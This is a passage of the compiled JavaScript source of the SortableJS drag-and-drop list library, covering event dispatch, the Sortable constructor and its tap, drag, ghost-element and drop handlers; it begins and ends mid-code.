= _ref.newDraggableIndex, originalEvent = _ref.originalEvent, putSortable = _ref.putSortable, extraEventProperties = _ref.extraEventProperties; sortable = sortable || rootEl && rootEl[expando]; if (!sortable) return; var evt, options = sortable.options, onName = 'on' + name.charAt(0).toUpperCase() + name.substr(1); // Support for new CustomEvent feature if (window.CustomEvent && !IE11OrLess && !Edge) { evt = new CustomEvent(name, { bubbles: true, cancelable: true }); } else { evt = document.createEvent('Event'); evt.initEvent(name, true, true); } evt.to = toEl || rootEl; evt.from = fromEl || rootEl; evt.item = targetEl || rootEl; evt.clone = cloneEl; evt.oldIndex = oldIndex; evt.newIndex = newIndex; evt.oldDraggableIndex = oldDraggableIndex; evt.newDraggableIndex = newDraggableIndex; evt.originalEvent = originalEvent; evt.pullMode = putSortable ? putSortable.lastPutMode : undefined; var allEventProperties = _objectSpread2(_objectSpread2({}, extraEventProperties), PluginManager.getEventProperties(name, sortable)); for (var option in allEventProperties) { evt[option] = allEventProperties[option]; } if (rootEl) { rootEl.dispatchEvent(evt); } if (options[onName]) { options[onName].call(sortable, evt); } } var _excluded = ["evt"]; var pluginEvent = function pluginEvent(eventName, sortable) { var _ref = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}, originalEvent = _ref.evt, data = _objectWithoutProperties(_ref, _excluded); PluginManager.pluginEvent.bind(Sortable)(eventName, sortable, _objectSpread2({ dragEl: dragEl, parentEl: parentEl, ghostEl: ghostEl, rootEl: rootEl, nextEl: nextEl, lastDownEl: lastDownEl, cloneEl: cloneEl, cloneHidden: cloneHidden, dragStarted: moved, putSortable: putSortable, activeSortable: Sortable.active, originalEvent: originalEvent, oldIndex: oldIndex, oldDraggableIndex: oldDraggableIndex, newIndex: newIndex, newDraggableIndex: newDraggableIndex, hideGhostForTarget: _hideGhostForTarget, unhideGhostForTarget: _unhideGhostForTarget, cloneNowHidden: function cloneNowHidden() { cloneHidden = true; }, cloneNowShown: function cloneNowShown() { cloneHidden = false; }, dispatchSortableEvent: function dispatchSortableEvent(name) { _dispatchEvent({ sortable: sortable, name: name, originalEvent: originalEvent }); } }, data)); }; function _dispatchEvent(info) { dispatchEvent(_objectSpread2({ putSortable: putSortable, cloneEl: cloneEl, targetEl: dragEl, rootEl: rootEl, oldIndex: oldIndex, oldDraggableIndex: oldDraggableIndex, newIndex: newIndex, newDraggableIndex: newDraggableIndex }, info)); } var dragEl, parentEl, ghostEl, rootEl, nextEl, lastDownEl, cloneEl, cloneHidden, oldIndex, newIndex, oldDraggableIndex, newDraggableIndex, activeGroup, putSortable, awaitingDragStarted = false, ignoreNextClick = false, sortables = [], tapEvt, touchEvt, lastDx, lastDy, tapDistanceLeft, tapDistanceTop, moved, lastTarget, lastDirection, pastFirstInvertThresh = false, isCircumstantialInvert = false, targetMoveDistance, // For positioning ghost absolutely ghostRelativeParent, ghostRelativeParentInitialScroll = [], // (left, top) _silent = false, savedInputChecked = []; /** @const */ var documentExists = typeof document !== 'undefined', PositionGhostAbsolutely = IOS, CSSFloatProperty = Edge || IE11OrLess ? 'cssFloat' : 'float', // This will not pass for IE9, because IE9 DnD only works on anchors supportDraggable = documentExists && !ChromeForAndroid && !IOS && 'draggable' in document.createElement('div'), supportCssPointerEvents = function () { if (!documentExists) return; // false when <= IE11 if (IE11OrLess) { return false; } var el = document.createElement('x'); el.style.cssText = 'pointer-events:auto'; return el.style.pointerEvents === 'auto'; }(), _detectDirection = function _detectDirection(el, options) { var elCSS = css(el), elWidth = parseInt(elCSS.width) - parseInt(elCSS.paddingLeft) - parseInt(elCSS.paddingRight) - parseInt(elCSS.borderLeftWidth) - parseInt(elCSS.borderRightWidth), child1 = getChild(el, 0, options), child2 = getChild(el, 1, options), firstChildCSS = child1 && css(child1), secondChildCSS = child2 && css(child2), firstChildWidth = firstChildCSS && parseInt(firstChildCSS.marginLeft) + parseInt(firstChildCSS.marginRight) + getRect(child1).width, secondChildWidth = secondChildCSS && parseInt(secondChildCSS.marginLeft) + parseInt(secondChildCSS.marginRight) + getRect(child2).width; if (elCSS.display === 'flex') { return elCSS.flexDirection === 'column' || elCSS.flexDirection === 'column-reverse' ? 'vertical' : 'horizontal'; } if (elCSS.display === 'grid') { return elCSS.gridTemplateColumns.split(' ').length <= 1 ? 'vertical' : 'horizontal'; } if (child1 && firstChildCSS["float"] && firstChildCSS["float"] !== 'none') { var touchingSideChild2 = firstChildCSS["float"] === 'left' ? 'left' : 'right'; return child2 && (secondChildCSS.clear === 'both' || secondChildCSS.clear === touchingSideChild2) ? 'vertical' : 'horizontal'; } return child1 && (firstChildCSS.display === 'block' || firstChildCSS.display === 'flex' || firstChildCSS.display === 'table' || firstChildCSS.display === 'grid' || firstChildWidth >= elWidth && elCSS[CSSFloatProperty] === 'none' || child2 && elCSS[CSSFloatProperty] === 'none' && firstChildWidth + secondChildWidth > elWidth) ? 'vertical' : 'horizontal'; }, _dragElInRowColumn = function _dragElInRowColumn(dragRect, targetRect, vertical) { var dragElS1Opp = vertical ? dragRect.left : dragRect.top, dragElS2Opp = vertical ? dragRect.right : dragRect.bottom, dragElOppLength = vertical ? dragRect.width : dragRect.height, targetS1Opp = vertical ? targetRect.left : targetRect.top, targetS2Opp = vertical ? targetRect.right : targetRect.bottom, targetOppLength = vertical ? targetRect.width : targetRect.height; return dragElS1Opp === targetS1Opp || dragElS2Opp === targetS2Opp || dragElS1Opp + dragElOppLength / 2 === targetS1Opp + targetOppLength / 2; }, /** * Detects first nearest empty sortable to X and Y position using emptyInsertThreshold. * @param {Number} x X position * @param {Number} y Y position * @return {HTMLElement} Element of the first found nearest Sortable */ _detectNearestEmptySortable = function _detectNearestEmptySortable(x, y) { var ret; sortables.some(function (sortable) { var threshold = sortable[expando].options.emptyInsertThreshold; if (!threshold || lastChild(sortable)) return; var rect = getRect(sortable), insideHorizontally = x >= rect.left - threshold && x <= rect.right + threshold, insideVertically = y >= rect.top - threshold && y <= rect.bottom + threshold; if (insideHorizontally && insideVertically) { return ret = sortable; } }); return ret; }, _prepareGroup = function _prepareGroup(options) { function toFn(value, pull) { return function (to, from, dragEl, evt) { var sameGroup = to.options.group.name && from.options.group.name && to.options.group.name === from.options.group.name; if (value == null && (pull || sameGroup)) { // Default pull value // Default pull and put value if same group return true; } else if (value == null || value === false) { return false; } else if (pull && value === 'clone') { return value; } else if (typeof value === 'function') { return toFn(value(to, from, dragEl, evt), pull)(to, from, dragEl, evt); } else { var otherGroup = (pull ? to : from).options.group.name; return value === true || typeof value === 'string' && value === otherGroup || value.join && value.indexOf(otherGroup) > -1; } }; } var group = {}; var originalGroup = options.group; if (!originalGroup || _typeof(originalGroup) != 'object') { originalGroup = { name: originalGroup }; } group.name = originalGroup.name; group.checkPull = toFn(originalGroup.pull, true); group.checkPut = toFn(originalGroup.put); group.revertClone = originalGroup.revertClone; options.group = group; }, _hideGhostForTarget = function _hideGhostForTarget() { if (!supportCssPointerEvents && ghostEl) { css(ghostEl, 'display', 'none'); } }, _unhideGhostForTarget = function _unhideGhostForTarget() { if (!supportCssPointerEvents && ghostEl) { css(ghostEl, 'display', ''); } }; // #1184 fix - Prevent click event on fallback if dragged but item not changed position if (documentExists && !ChromeForAndroid) { document.addEventListener('click', function (evt) { if (ignoreNextClick) { evt.preventDefault(); evt.stopPropagation && evt.stopPropagation(); evt.stopImmediatePropagation && evt.stopImmediatePropagation(); ignoreNextClick = false; return false; } }, true); } var nearestEmptyInsertDetectEvent = function nearestEmptyInsertDetectEvent(evt) { if (dragEl) { evt = evt.touches ? evt.touches[0] : evt; var nearest = _detectNearestEmptySortable(evt.clientX, evt.clientY); if (nearest) { // Create imitation event var event = {}; for (var i in evt) { if (evt.hasOwnProperty(i)) { event[i] = evt[i]; } } event.target = event.rootEl = nearest; event.preventDefault = void 0; event.stopPropagation = void 0; nearest[expando]._onDragOver(event); } } }; var _checkOutsideTargetEl = function _checkOutsideTargetEl(evt) { if (dragEl) { dragEl.parentNode[expando]._isOutsideThisEl(evt.target); } }; /** * @class Sortable * @param {HTMLElement} el * @param {Object} [options] */ function Sortable(el, options) { if (!(el && el.nodeType && el.nodeType === 1)) { throw "Sortable: `el` must be an HTMLElement, not ".concat({}.toString.call(el)); } this.el = el; // root element this.options = options = _extends({}, options); // Export instance el[expando] = this; var defaults = { group: null, sort: true, disabled: false, store: null, handle: null, draggable: /^[uo]l$/i.test(el.nodeName) ? '>li' : '>*', swapThreshold: 1, // percentage; 0 <= x <= 1 invertSwap: false, // invert always invertedSwapThreshold: null, // will be set to same as swapThreshold if default removeCloneOnHide: true, direction: function direction() { return _detectDirection(el, this.options); }, ghostClass: 'sortable-ghost', chosenClass: 'sortable-chosen', dragClass: 'sortable-drag', ignore: 'a, img', filter: null, preventOnFilter: true, animation: 0, easing: null, setData: function setData(dataTransfer, dragEl) { dataTransfer.setData('Text', dragEl.textContent); }, dropBubble: false, dragoverBubble: false, dataIdAttr: 'data-id', delay: 0, delayOnTouchOnly: false, touchStartThreshold: (Number.parseInt ? Number : window).parseInt(window.devicePixelRatio, 10) || 1, forceFallback: false, fallbackClass: 'sortable-fallback', fallbackOnBody: false, fallbackTolerance: 0, fallbackOffset: { x: 0, y: 0 }, supportPointer: Sortable.supportPointer !== false && 'PointerEvent' in window && !Safari, emptyInsertThreshold: 5 }; PluginManager.initializePlugins(this, el, defaults); // Set default options for (var name in defaults) { !(name in options) && (options[name] = defaults[name]); } _prepareGroup(options); // Bind all private methods for (var fn in this) { if (fn.charAt(0) === '_' && typeof this[fn] === 'function') { this[fn] = this[fn].bind(this); } } // Setup drag mode this.nativeDraggable = options.forceFallback ? false : supportDraggable; if (this.nativeDraggable) { // Touch start threshold cannot be greater than the native dragstart threshold this.options.touchStartThreshold = 1; } // Bind events if (options.supportPointer) { on(el, 'pointerdown', this._onTapStart); } else { on(el, 'mousedown', this._onTapStart); on(el, 'touchstart', this._onTapStart); } if (this.nativeDraggable) { on(el, 'dragover', this); on(el, 'dragenter', this); } sortables.push(this.el); // Restore sorting options.store && options.store.get && this.sort(options.store.get(this) || []); // Add animation state manager _extends(this, AnimationStateManager()); } Sortable.prototype = /** @lends Sortable.prototype */ { constructor: Sortable, _isOutsideThisEl: function _isOutsideThisEl(target) { if (!this.el.contains(target) && target !== this.el) { lastTarget = null; } }, _getDirection: function _getDirection(evt, target) { return typeof this.options.direction === 'function' ? this.options.direction.call(this, evt, target, dragEl) : this.options.direction; }, _onTapStart: function _onTapStart( /** Event|TouchEvent */ evt) { if (!evt.cancelable) return; var _this = this, el = this.el, options = this.options, preventOnFilter = options.preventOnFilter, type = evt.type, touch = evt.touches && evt.touches[0] || evt.pointerType && evt.pointerType === 'touch' && evt, target = (touch || evt).target, originalTarget = evt.target.shadowRoot && (evt.path && evt.path[0] || evt.composedPath && evt.composedPath()[0]) || target, filter = options.filter; _saveInputCheckedState(el); // Don't trigger start event when an element is been dragged, otherwise the evt.oldindex always wrong when set option.group. if (dragEl) { return; } if (/mousedown|pointerdown/.test(type) && evt.button !== 0 || options.disabled) { return; // only left button and enabled } // cancel dnd if original target is content editable if (originalTarget.isContentEditable) { return; } // Safari ignores further event handling after mousedown if (!this.nativeDraggable && Safari && target && target.tagName.toUpperCase() === 'SELECT') { return; } target = closest(target, options.draggable, el, false); if (target && target.animated) { return; } if (lastDownEl === target) { // Ignoring duplicate `down` return; } // Get the index of the dragged element within its parent oldIndex = index(target); oldDraggableIndex = index(target, options.draggable); // Check filter if (typeof filter === 'function') { if (filter.call(this, evt, target, this)) { _dispatchEvent({ sortable: _this, rootEl: originalTarget, name: 'filter', targetEl: target, toEl: el, fromEl: el }); pluginEvent('filter', _this, { evt: evt }); preventOnFilter && evt.cancelable && evt.preventDefault(); return; // cancel dnd } } else if (filter) { filter = filter.split(',').some(function (criteria) { criteria = closest(originalTarget, criteria.trim(), el, false); if (criteria) { _dispatchEvent({ sortable: _this, rootEl: criteria, name: 'filter', targetEl: target, fromEl: el, toEl: el }); pluginEvent('filter', _this, { evt: evt }); return true; } }); if (filter) { preventOnFilter && evt.cancelable && evt.preventDefault(); return; // cancel dnd } } if (options.handle && !closest(originalTarget, options.handle, el, false)) { return; } // Prepare `dragstart` this._prepareDragStart(evt, touch, target); }, _prepareDragStart: function _prepareDragStart( /** Event */ evt, /** Touch */ touch, /** HTMLElement */ target) { var _this = this, el = _this.el, options = _this.options, ownerDocument = el.ownerDocument, dragStartFn; if (target && !dragEl && target.parentNode === el) { var dragRect = getRect(target); rootEl = el; dragEl = target; parentEl = dragEl.parentNode; nextEl = dragEl.nextSibling; lastDownEl = target; activeGroup = options.group; Sortable.dragged = dragEl; tapEvt = { target: dragEl, clientX: (touch || evt).clientX, clientY: (touch || evt).clientY }; tapDistanceLeft = tapEvt.clientX - dragRect.left; tapDistanceTop = tapEvt.clientY - dragRect.top; this._lastX = (touch || evt).clientX; this._lastY = (touch || evt).clientY; dragEl.style['will-change'] = 'all'; dragStartFn = function dragStartFn() { pluginEvent('delayEnded', _this, { evt: evt }); if (Sortable.eventCanceled) { _this._onDrop(); return; } // Delayed drag has been triggered // we can re-enable the events: touchmove/mousemove _this._disableDelayedDragEvents(); if (!FireFox && _this.nativeDraggable) { dragEl.draggable = true; } // Bind the events: dragstart/dragend _this._triggerDragStart(evt, touch); // Drag start event _dispatchEvent({ sortable: _this, name: 'choose', originalEvent: evt }); // Chosen item toggleClass(dragEl, options.chosenClass, true); }; // Disable "draggable" options.ignore.split(',').forEach(function (criteria) { find(dragEl, criteria.trim(), _disableDraggable); }); on(ownerDocument, 'dragover', nearestEmptyInsertDetectEvent); on(ownerDocument, 'mousemove', nearestEmptyInsertDetectEvent); on(ownerDocument, 'touchmove', nearestEmptyInsertDetectEvent); on(ownerDocument, 'mouseup', _this._onDrop); on(ownerDocument, 'touchend', _this._onDrop); on(ownerDocument, 'touchcancel', _this._onDrop); // Make dragEl draggable (must be before delay for FireFox) if (FireFox && this.nativeDraggable) { this.options.touchStartThreshold = 4; dragEl.draggable = true; } pluginEvent('delayStart', this, { evt: evt }); // Delay is impossible for native DnD in Edge or IE if (options.delay && (!options.delayOnTouchOnly || touch) && (!this.nativeDraggable || !(Edge || IE11OrLess))) { if (Sortable.eventCanceled) { this._onDrop(); return; } // If the user moves the pointer or let go the click or touch // before the delay has been reached: // disable the delayed drag on(ownerDocument, 'mouseup', _this._disableDelayedDrag); on(ownerDocument, 'touchend', _this._disableDelayedDrag); on(ownerDocument, 'touchcancel', _this._disableDelayedDrag); on(ownerDocument, 'mousemove', _this._delayedDragTouchMoveHandler); on(ownerDocument, 'touchmove', _this._delayedDragTouchMoveHandler); options.supportPointer && on(ownerDocument, 'pointermove', _this._delayedDragTouchMoveHandler); _this._dragStartTimer = setTimeout(dragStartFn, options.delay); } else { dragStartFn(); } } }, _delayedDragTouchMoveHandler: function _delayedDragTouchMoveHandler( /** TouchEvent|PointerEvent **/ e) { var touch = e.touches ? e.touches[0] : e; if (Math.max(Math.abs(touch.clientX - this._lastX), Math.abs(touch.clientY - this._lastY)) >= Math.floor(this.options.touchStartThreshold / (this.nativeDraggable && window.devicePixelRatio || 1))) { this._disableDelayedDrag(); } }, _disableDelayedDrag: function _disableDelayedDrag() { dragEl && _disableDraggable(dragEl); clearTimeout(this._dragStartTimer); this._disableDelayedDragEvents(); }, _disableDelayedDragEvents: function _disableDelayedDragEvents() { var ownerDocument = this.el.ownerDocument; off(ownerDocument, 'mouseup', this._disableDelayedDrag); off(ownerDocument, 'touchend', this._disableDelayedDrag); off(ownerDocument, 'touchcancel', this._disableDelayedDrag); off(ownerDocument, 'mousemove', this._delayedDragTouchMoveHandler); off(ownerDocument, 'touchmove', this._delayedDragTouchMoveHandler); off(ownerDocument, 'pointermove', this._delayedDragTouchMoveHandler); }, _triggerDragStart: function _triggerDragStart( /** Event */ evt, /** Touch */ touch) { touch = touch || evt.pointerType == 'touch' && evt; if (!this.nativeDraggable || touch) { if (this.options.supportPointer) { on(document, 'pointermove', this._onTouchMove); } else if (touch) { on(document, 'touchmove', this._onTouchMove); } else { on(document, 'mousemove', this._onTouchMove); } } else { on(dragEl, 'dragend', this); on(rootEl, 'dragstart', this._onDragStart); } try { if (document.selection) { // Timeout neccessary for IE9 _nextTick(function () { document.selection.empty(); }); } else { window.getSelection().removeAllRanges(); } } catch (err) {} }, _dragStarted: function _dragStarted(fallback, evt) { awaitingDragStarted = false; if (rootEl && dragEl) { pluginEvent('dragStarted', this, { evt: evt }); if (this.nativeDraggable) { on(document, 'dragover', _checkOutsideTargetEl); } var options = this.options; // Apply effect !fallback && toggleClass(dragEl, options.dragClass, false); toggleClass(dragEl, options.ghostClass, true); Sortable.active = this; fallback && this._appendGhost(); // Drag start event _dispatchEvent({ sortable: this, name: 'start', originalEvent: evt }); } else { this._nulling(); } }, _emulateDragOver: function _emulateDragOver() { if (touchEvt) { this._lastX = touchEvt.clientX; this._lastY = touchEvt.clientY; _hideGhostForTarget(); var target = document.elementFromPoint(touchEvt.clientX, touchEvt.clientY); var parent = target; while (target && target.shadowRoot) { target = target.shadowRoot.elementFromPoint(touchEvt.clientX, touchEvt.clientY); if (target === parent) break; parent = target; } dragEl.parentNode[expando]._isOutsideThisEl(target); if (parent) { do { if (parent[expando]) { var inserted = void 0; inserted = parent[expando]._onDragOver({ clientX: touchEvt.clientX, clientY: touchEvt.clientY, target: target, rootEl: parent }); if (inserted && !this.options.dragoverBubble) { break; } } target = parent; // store last element } /* jshint boss:true */ while (parent = parent.parentNode); } _unhideGhostForTarget(); } }, _onTouchMove: function _onTouchMove( /**TouchEvent*/ evt) { if (tapEvt) { var options = this.options, fallbackTolerance = options.fallbackTolerance, fallbackOffset = options.fallbackOffset, touch = evt.touches ? evt.touches[0] : evt, ghostMatrix = ghostEl && matrix(ghostEl, true), scaleX = ghostEl && ghostMatrix && ghostMatrix.a, scaleY = ghostEl && ghostMatrix && ghostMatrix.d, relativeScrollOffset = PositionGhostAbsolutely && ghostRelativeParent && getRelativeScrollOffset(ghostRelativeParent), dx = (touch.clientX - tapEvt.clientX + fallbackOffset.x) / (scaleX || 1) + (relativeScrollOffset ? relativeScrollOffset[0] - ghostRelativeParentInitialScroll[0] : 0) / (scaleX || 1), dy = (touch.clientY - tapEvt.clientY + fallbackOffset.y) / (scaleY || 1) + (relativeScrollOffset ? relativeScrollOffset[1] - ghostRelativeParentInitialScroll[1] : 0) / (scaleY || 1); // only set the status to dragging, when we are actually dragging if (!Sortable.active && !awaitingDragStarted) { if (fallbackTolerance && Math.max(Math.abs(touch.clientX - this._lastX), Math.abs(touch.clientY - this._lastY)) < fallbackTolerance) { return; } this._onDragStart(evt, true); } if (ghostEl) { if (ghostMatrix) { ghostMatrix.e += dx - (lastDx || 0); ghostMatrix.f += dy - (lastDy || 0); } else { ghostMatrix = { a: 1, b: 0, c: 0, d: 1, e: dx, f: dy }; } var cssMatrix = "matrix(".concat(ghostMatrix.a, ",").concat(ghostMatrix.b, ",").concat(ghostMatrix.c, ",").concat(ghostMatrix.d, ",").concat(ghostMatrix.e, ",").concat(ghostMatrix.f, ")"); css(ghostEl, 'webkitTransform', cssMatrix); css(ghostEl, 'mozTransform', cssMatrix); css(ghostEl, 'msTransform', cssMatrix); css(ghostEl, 'transform', cssMatrix); lastDx = dx; lastDy = dy; touchEvt = touch; } evt.cancelable && evt.preventDefault(); } }, _appendGhost: function _appendGhost() { // Bug if using scale(): https://stackoverflow.com/questions/2637058 // Not being adjusted for if (!ghostEl) { var container = this.options.fallbackOnBody ? document.body : rootEl, rect = getRect(dragEl, true, PositionGhostAbsolutely, true, container), options = this.options; // Position absolutely if (PositionGhostAbsolutely) { // Get relatively positioned parent ghostRelativeParent = container; while (css(ghostRelativeParent, 'position') === 'static' && css(ghostRelativeParent, 'transform') === 'none' && ghostRelativeParent !== document) { ghostRelativeParent = ghostRelativeParent.parentNode; } if (ghostRelativeParent !== document.body && ghostRelativeParent !== document.documentElement) { if (ghostRelativeParent === document) ghostRelativeParent = getWindowScrollingElement(); rect.top += ghostRelativeParent.scrollTop; rect.left += ghostRelativeParent.scrollLeft; } else { ghostRelativeParent = getWindowScrollingElement(); } ghostRelativeParentInitialScroll = getRelativeScrollOffset(ghostRelativeParent); } ghostEl = dragEl.cloneNode(true); toggleClass(ghostEl, options.ghostClass, false); toggleClass(ghostEl, options.fallbackClass, true); toggleClass(ghostEl, options.dragClass, true); css(ghostEl, 'transition', ''); css(ghostEl, 'transform', ''); css(ghostEl, 'box-sizing', 'border-box'); css(ghostEl, 'margin', 0); css(ghostEl, 'top', rect.top); css(ghostEl, 'left', rect.left); css(ghostEl, 'width', rect.width); css(ghostEl, 'height', rect.height); css(ghostEl, 'opacity', '0.8'); css(ghostEl, 'position', PositionGhostAbsolutely ? 'absolute' : 'fixed'); css(ghostEl, 'zIndex', '100000'); css(ghostEl, 'pointerEvents', 'none'); Sortable.ghost = ghostEl; container.appendChild(ghostEl); // Set transform-origin css(ghostEl, 'transform-origin', tapDistanceLeft / parseInt(ghostEl.style.width) * 100 + '% ' + tapDistanceTop / parseInt(ghostEl.style.height) * 100 + '%'); } }, _onDragStart: function _onDragStart( /**Event*/ evt, /**boolean*/ fallback) { var _this = this; var dataTransfer = evt.dataTransfer; var options = _this.options; pluginEvent('dragStart', this, { evt: evt }); if (Sortable.eventCanceled) { this._onDrop(); return; } pluginEvent('setupClone', this); if (!Sortable.eventCanceled) { cloneEl = clone(dragEl); cloneEl.removeAttribute("id"); cloneEl.draggable = false; cloneEl.style['will-change'] = ''; this._hideClone(); toggleClass(cloneEl, this.options.chosenClass, false); Sortable.clone = cloneEl; } // #1143: IFrame support workaround _this.cloneId = _nextTick(function () { pluginEvent('clone', _this); if (Sortable.eventCanceled) return; if (!_this.options.removeCloneOnHide) { rootEl.insertBefore(cloneEl, dragEl); } _this._hideClone(); _dispatchEvent({ sortable: _this, name: 'clone' }); }); !fallback && toggleClass(dragEl, options.dragClass, true); // Set proper drop events if (fallback) { ignoreNextClick = true; _this._loopId = setInterval(_this._emulateDragOver, 50); } else { // Undo what was set in _prepareDragStart before drag started off(document, 'mouseup', _this._onDrop); off(document, 'touchend', _this._onDrop); off(document, 'touchcancel', _this._onDrop); if (dataTransfer) { dataTransfer.effectAllowed = 'move'; options.setData && options.setData.call(_this, dataTransfer, dragEl); } on(document, 'drop', _this); // #1276 fix: css(dragEl, 'transform', 'translateZ(0)'); } awaitingDragStarted = true; _this._dragStartId = _nextTick(_this._dragStarted.bind(_this, fallback, evt)); on(document, 'selectstart', _this); moved = true; if (Safari) { css(document.body, 'user-select', 'none'); } }, // Returns true - if no further action is needed (either inserted or another condition) _onDragOver: function _onDragOver( /**Event*/ evt) { var el = this.el, target = evt.target, dragRect, targetRect, revert, options = this.options, group = options.group, activeSortable = Sortable.active, isOwner = activeGroup === group, canSort = options.sort, fromSortable = putSortable || activeSortable, vertical, _this = this, completedFired = false; if (_silent) return; function dragOverEvent(name, extra) { pluginEvent(name, _this, _objectSpread2({ evt: evt, isOwner: isOwner, axis: vertical ? 'vertical' : 'horizontal', revert: revert, dragRect: dragRect, targetRect: targetRect, canSort: canSort, fromSortable: fromSortable, target: target, completed: completed, onMove: function onMove(target, after) { return _onMove(rootEl, el, dragEl, dragRect, target, getRect(target), evt, after); }, changed: changed }, extra)); } // Capture animation state function capture() { dragOverEvent('dragOverAnimationCapture'); _this.captureAnimationState(); if (_this !== fromSortable) { fromSortable.captureAnimationState(); } } // Return invocation when dragEl is inserted (or completed) function completed(insertion) { dragOverEvent('dragOverCompleted', { insertion: insertion }); if (insertion) { // Clones must be hidden before folding animation to capture dragRectAbsolute properly if (isOwner) { activeSortable._hideClone(); } else { activeSortable._showClone(_this); } if (_this !== fromSortable) { // Set ghost class to new sortable's ghost class toggleClass(dragEl, putSortable ? putSortable.options.ghostClass : activeSortable.options.ghostClass, false); toggleClass(dragEl, options.ghostClass, true); } if (putSortable !== _this && _this !== Sortable.active) { putSortable = _this; } else if (_this === Sortable.active && putSortable) { putSortable = null; } // Animation if (fromSortable === _this) { _this._ignoreWhileAnimating = target; } _this.animateAll(function () { dragOverEvent('dragOverAnimationComplete'); _this._ignoreWhileAnimating = null; }); if (_this !== fromSortable) { fromSortable.animateAll(); fromSortable._ignoreWhileAnimating = null; } } // Null lastTarget if it is not inside a previously swapped element if (target === dragEl && !dragEl.animated || target === el && !target.animated) { lastTarget = null; } // no bubbling and not fallback if (!options.dragoverBubble && !evt.rootEl && target !== document) { dragEl.parentNode[expando]._isOutsideThisEl(evt.target); // Do not detect for empty insert if already inserted !insertion && nearestEmptyInsertDetectEvent(evt); } !options.dragoverBubble && evt.stopPropagation && evt.stopPropagation(); return completedFired = true; } // Call when dragEl has been inserted function changed() { newIndex = index(dragEl); newDraggableIndex = index(dragEl, options.draggable); _dispatchEvent({ sortable: _this, name: 'change', toEl: el, newIndex: newIndex, newDraggableIndex: newDraggableIndex, originalEvent: evt }); } if (evt.preventDefault !== void 0) { evt.cancelable && evt.preventDefault(); } target = closest(target, options.draggable, el, true); dragOverEvent('dragOver'); if (Sortable.eventCanceled) return completedFired; if (dragEl.contains(evt.target) || target.animated && target.animatingX && target.animatingY || _this._ignoreWhileAnimating === target) { return completed(false); } ignoreNextClick = false; if (activeSortable && !options.disabled && (isOwner ? canSort || (revert = parentEl !== rootEl) // Reverting item into the original list : putSortable === this || (this.lastPutMode = activeGroup.checkPull(this, activeSortable, dragEl, evt)) && group.checkPut(this, activeSortable, dragEl, evt))) { vertical = this._getDirection(evt, target) === 'vertical'; dragRect = getRect(dragEl); dragOverEvent('dragOverValid'); if (Sortable.eventCanceled) return completedFired; if (revert) { parentEl = rootEl; // actualization capture(); this._hideClone(); dragOverEvent('revert'); if (!Sortable.eventCanceled) { if (nextEl) { rootEl.insertBefore(dragEl, nextEl); } else { rootEl.appendChild(dragEl); } } return completed(true); } var elLastChild = lastChild(el, options.draggable); if (!elLastChild || _ghostIsLast(evt, vertical, this) && !elLastChild.animated) { // Insert to end of list // If already at end of list: Do not insert if (elLastChild === dragEl) { return completed(false); } // if there is a last element, it is the target if (elLastChild && el === evt.target) { target = elLastChild; } if (target) { targetRect = getRect(target); } if (_onMove(rootEl, el, dragEl, dragRect, target, targetRect, evt, !!target) !== false) { capture(); if (elLastChild && elLastChild.nextSibling) { // the last draggable element is not the last node el.insertBefore(dragEl, elLastChild.nextSibling); } else { el.appendChild(dragEl); } parentEl = el; // actualization changed(); return completed(true); } } else if (elLastChild && _ghostIsFirst(evt, vertical, this)) { // Insert to start of list var firstChild = getChild(el, 0, options, true); if (firstChild === dragEl) { return completed(false); } target = firstChild; targetRect = getRect(target); if (_onMove(rootEl, el, dragEl, dragRect, target, targetRect, evt, false) !== false) { capture(); el.insertBefore(dragEl, firstChild); parentEl = el; // actualization changed(); return completed(true); } } else if (target.parentNode === el) { targetRect = getRect(target); var direction = 0, targetBeforeFirstSwap, differentLevel = dragEl.parentNode !== el, differentRowCol = !_dragElInRowColumn(dragEl.animated && dragEl.toRect || dragRect, target.animated && target.toRect || targetRect, vertical), side1 = vertical ? 'top' : 'left', scrolledPastTop = isScrolledPast(target, 'top', 'top') || isScrolledPast(dragEl, 'top', 'top'), scrollBefore = scrolledPastTop ? scrolledPastTop.scrollTop : void 0; if (lastTarget !== target) { targetBeforeFirstSwap = targetRect[side1]; pastFirstInvertThresh = false; isCircumstantialInvert = !differentRowCol && options.invertSwap || differentLevel; } direction = _getSwapDirection(evt, target, targetRect, vertical, differentRowCol ? 1 : options.swapThreshold, options.invertedSwapThreshold == null ? options.swapThreshold : options.invertedSwapThreshold, isCircumstantialInvert, lastTarget === target); var sibling; if (direction !== 0) { // Check if target is beside dragEl in respective direction (ignoring hidden elements) var dragIndex = index(dragEl); do { dragIndex -= direction; sibling = parentEl.children[dragIndex]; } while (sibling && (css(sibling, 'display') === 'none' || sibling === ghostEl)); } // If dragEl is already beside target: Do not insert if (direction === 0 || sibling === target) { return completed(false); } lastTarget = target; lastDirection = direction; var nextSibling = target.nextElementSibling, after = false; after = direction === 1; var moveVector = _onMove(rootEl, el, dragEl, dragRect, target, targetRect, evt, after); if (moveVector !== false) { if (moveVector === 1 || moveVector === -1) { after = moveVector === 1; } _silent = true; setTimeout(_unsilent, 30); capture(); if (after && !nextSibling) { el.appendChild(dragEl); } else { target.parentNode.insertBefore(dragEl, after ? nextSibling : target); } // Undo chrome's scroll adjustment (has no effect on other browsers) if (scrolledPastTop) { scrollBy(scrolledPastTop, 0, scrollBefore - scrolledPastTop.scrollTop); } parentEl = dragEl.parentNode; // actualization // must be done before animation if (targetBeforeFirstSwap !== undefined && !isCircumstantialInvert) { targetMoveDistance = Math.abs(targetBeforeFirstSwap - getRect(target)[side1]); } changed(); return completed(true); } } if (el.contains(dragEl)) { return completed(false); } } return false; }, _ignoreWhileAnimating: null, _offMoveEvents: function _offMoveEvents() { off(document, 'mousemove', this._onTouchMove); off(document, 'touchmove', this._onTouchMove); off(document, 'pointermove', this._onTouchMove); off(document, 'dragover', nearestEmptyInsertDetectEvent); off(document, 'mousemove', nearestEmptyInsertDetectEvent); off(document, 'touchmove', nearestEmptyInsertDetectEvent); }, _offUpEvents: function _offUpEvents() { var ownerDocument = this.el.ownerDocument; off(ownerDocument, 'mouseup', this._onDrop); off(ownerDocument, 'touchend', this._onDrop); off(ownerDocument, 'pointerup', this._onDrop); off(ownerDocument, 'touchcancel', this._onDrop); off(document, 'selectstart', this); }, _onDrop: function _onDrop( /**Event*/ evt) { var el = this.el, options = this.options; // Get the index of the dragged element within its parent newIndex = index(dragEl); newDraggableIndex = index(dragEl, options.draggable); pluginEvent('drop', this, { evt: evt }); parentEl = dragEl && dragEl.parentNode; // Get again after plugin event newIndex = index(dragEl); newDraggableIndex 